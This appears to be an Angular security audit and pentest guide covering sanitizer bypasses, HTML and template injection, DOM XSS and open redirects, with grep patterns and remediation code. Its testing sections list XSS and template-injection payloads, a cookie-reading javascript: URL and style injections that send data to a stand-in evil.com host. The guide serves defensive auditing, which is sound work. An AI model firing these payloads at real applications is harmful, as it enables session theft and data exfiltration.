Angular Security Audit Skill
A comprehensive guide for security professionals to audit and pentest Angular applications for common vulnerabilities.
Quick Start Checklist
Run through these checks first:
- Sourcemaps disabled - Check
angular.jsonforsourceMap.scripts: false - No bypassSecurityTrust with user input - Search for
bypassSecurityTrust*calls - No direct DOM manipulation - Check for
ElementRef.nativeElement,Renderer2.setAttribute - No jQuery with user input - Look for
$.html(),$.parseHTML()with untrusted data - No unsafe location manipulation - Check
window.location.*,document.location.*with user input - Template expressions escaped - Verify user input isn't concatenated into templates
- SecurityContext used correctly - Ensure proper context for sanitization
Angular Architecture Overview
Understanding the structure helps identify attack surfaces:
my-workspace/
├── src/
│ ├── app/
│ │ ├── app.module.ts # Root module - check imports
│ │ ├── app.component.ts # Root component - check logic
│ │ ├── app.component.html # Template - check bindings
│ │ └── app-routing.module.ts # Router - check redirects
│ └── index.html # Entry point
├── angular.json # Build config - check sourcemaps
└── tsconfig.json # TypeScript config
Key concepts:
- Components - UI units with templates (
.component.ts+.html) - Modules - Group related components (
.module.ts) - Services - Shared logic (
@Injectable()) - Router - Navigation between views
Vulnerability Testing Guide
1. BypassSecurityTrust Methods
Angular provides methods to bypass sanitization. These are dangerous with user input.
What to search for:
bypassSecurityTrustUrl
bypassSecurityTrustResourceUrl
bypassSecurityTrustHtml
bypassSecurityTrustScript
bypassSecurityTrustStyle
Vulnerable pattern:
// DANGEROUS - user input bypasses sanitization
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl(userInput);
Safe pattern:
// SAFE - validate before trusting
if (isValidUrl(userInput)) {
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl(userInput);
}
Test cases:
javascript:alert(1)- Tests URL bypass<script>alert(1)</script>- Tests HTML bypassbackground-image: url(https://evil.com/exfil?data=)- Tests style bypass
2. HTML Injection
Occurs when user input binds to innerHTML, outerHTML, or iframe srcdoc.
Vulnerable pattern:
// app.component.ts
test = userInput; // from user
// app.component.html
<div [innerHTML]="test"></div>
What happens:
<script>tags are stripped (XSS blocked)- But HTML structure is preserved (HTML injection possible)
- Can still be dangerous for UI redressing
Test: Input <h1>Injected</h1><script>alert(1)</script> - script should be removed
3. Template Injection
User input concatenated into template strings can execute code.
Vulnerable pattern:
@Component({
template: '<h1>title</h1>' + userInput // DANGEROUS
})
Attack vector:
// User input that executes code
'{{constructor.constructor("alert(1)")()}}'
Test cases:
{{constructor.constructor('alert(1)')()}}{{'String'.constructor.constructor('alert(1)')()}}{{'alert(1)'.constructor('alert(1)')()}}
Safe pattern:
// Use interpolation, not concatenation
<h1>{{userInput}}</h1> // Escaped automatically
4. XSS via DOM Interfaces
Direct DOM manipulation bypasses Angular's security.
Vulnerable patterns:
Document interface:
// DANGEROUS
document.write("<script>alert(1)</script>");
document.createElement('script').textContent = userInput;
ElementRef:
// DANGEROUS - direct DOM access
constructor(private elementRef: ElementRef) {
this.elementRef.nativeElement.innerHTML = userInput;
}
Renderer2:
// DANGEROUS - setAttribute has no XSS prevention
this.renderer2.setAttribute(element, 'onerror', userInput);
this.renderer2.setProperty(element, 'innerHTML', userInput);
jQuery:
// DANGEROUS
$("p").html(userInput);
$.parseHTML(userInput);
Test payloads:
<img src=1><svg><body>
5. Open Redirects
User-controlled URLs in location objects can redirect to malicious sites.
Vulnerable sinks:
window.location.href = userInput;
window.location.assign(userInput);
window.location.replace(userInput);
window.open(userInput, "_blank");
document.location.href = userInput;
Angular Document class:
// DANGEROUS
constructor(@Inject(DOCUMENT) private document: Document) {}
this.document.location.href = userInput;
Test cases:
https://evil.com/phishingjavascript:alert(document.cookie)//evil.com(protocol-relative)https://legit.com@evil.com(credential injection)
Safe navigation:
// Angular Router - stays within domain
this.router.navigate(['/path']);
this.location.go('/path'); // Also internal only
Security Context Reference
Angular uses 6 security contexts for sanitization:
| Context | Use Case | Example |
|---|---|---|
None |
No sanitization | Never use with user input |
HTML |
HTML content | [innerHTML]="value" |
STYLE |
CSS properties | [style]="value" |
URL |
URL attributes | [href]="value" |
SCRIPT |
JavaScript code | Rarely used |
RESOURCE_URL |
Executable resources | <script src> |
Critical: Using wrong context = vulnerability
// WRONG - URL context on HTML
sanitizer.bypassSecurityTrustUrl("<script>alert(1)</script>");
// CORRECT - HTML context for HTML
sanitizer.bypassSecurityTrustHtml("<h1>Safe</h1>");
Audit Workflow
Phase 1: Reconnaissance
Check sourcemaps:
curl -I https://app.com/main.js | grep sourceMappingURL curl https://app.com/main.js.map # If exists, download and analyzeReview angular.json:
"sourceMap": { "scripts": false, // Should be false in production "styles": false, "vendor": false, "hidden": true }Identify entry points:
- Find all components with user input
- Map data flow from input to output
- Identify DOM manipulation points
Phase 2: Static Analysis
Search patterns in codebase:
# Bypass methods
grep -r "bypassSecurityTrust" src/
# Direct DOM access
grep -r "nativeElement" src/
grep -r "document\." src/
grep -r "window\.location" src/
# jQuery usage
grep -r "\$\." src/
grep -r "from 'jquery'" src/
# InnerHTML bindings
grep -r "innerHTML" src/
grep -r "\[innerHtml\]" src/
Phase 3: Dynamic Testing
Test each input vector:
XSS payloads:
<script>alert(1)</script> <img src=x <svg javascript:alert(1)Template injection:
{{constructor.constructor('alert(1)')()}} {{'String'.constructor.constructor('alert(1)')()}}Open redirect:
https://evil.com javascript:alert(document.cookie) //evil.comStyle injection:
background-image: url(https://evil.com/exfil?c=) behavior: url(evil.htc)
Phase 4: Reporting
Document findings:
## Finding: [Vulnerability Type]
**Location:** `src/app/component.ts:45`
**Severity:** High/Medium/Low
**Description:** User input passed to bypassSecurityTrustUrl
**Code:**
```typescript
this.url = this.sanitizer.bypassSecurityTrustUrl(userInput);
Impact: XSS via javascript: URL scheme
Remediation: Validate URL scheme before bypassing
Test: javascript:alert(1) executes successfully
## Remediation Guidelines
### Fix BypassSecurityTrust
```typescript
// BEFORE
this.url = this.sanitizer.bypassSecurityTrustUrl(userInput);
// AFTER
if (this.isValidHttpUrl(userInput)) {
this.url = this.sanitizer.bypassSecurityTrustUrl(userInput);
}
private isValidHttpUrl(url: string): boolean {
const pattern = /^https?:\/\/.+/;
return pattern.test(url);
}
Fix ElementRef Usage
// BEFORE
this.elementRef.nativeElement.innerHTML = userInput;
// AFTER - Use Angular binding
<div [innerHTML]="sanitizedInput"></div>
// Or use Renderer2 safely
this.renderer2.setProperty(element, 'textContent', userInput);
Fix Open Redirects
// BEFORE
window.location.href = userInput;
// AFTER - Validate domain
if (this.isAllowedDomain(userInput)) {
window.location.href = userInput;
}
private isAllowedDomain(url: string): boolean {
const allowed = ['example.com', 'trusted.com'];
try {
const domain = new URL(url).hostname;
return allowed.includes(domain);
} catch {
return false;
}
}
Fix jQuery Usage
// BEFORE
$("p").html(userInput);
// AFTER - Use textContent or Angular binding
$("p").text(userInput); // Escapes HTML
// Or better: use Angular's [textContent] binding
Common False Positives
Safe patterns that look dangerous:
Static bypassSecurityTrust:
// SAFE - hardcoded URL this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('https://cdn.example.com/lib.js');Internal navigation:
// SAFE - Angular Router stays internal this.router.navigate(['/dashboard']);Renderer2 setStyle:
// Generally safe - limited attack surface this.renderer2.setStyle(element, 'color', 'red');
References
- Angular Security Guide
- Sanitization and Security Contexts
- Angular Security Checklist
- PayloadsAllTheThings - XSS in Angular
Quick Reference Card
| Vulnerability | Search For | Test Payload |
|---|---|---|
| Bypass Trust | bypassSecurityTrust* |
javascript:alert(1) |
| HTML Injection | [innerHTML], outerHTML |
<img src=x> |
| Template Injection | Template concatenation | {{constructor.constructor('alert(1)')()}} |
| DOM XSS | nativeElement, document. |
<svg> |
| Open Redirect | location.href, window.open |
https://evil.com |
| jQuery XSS | $.html(), $.parseHTML() |
<script>alert(1)</script> |
Remember: Angular's default security is strong. Most vulnerabilities come from developers bypassing protections or using unsafe APIs. Focus your audit on those bypass points and direct DOM manipulation.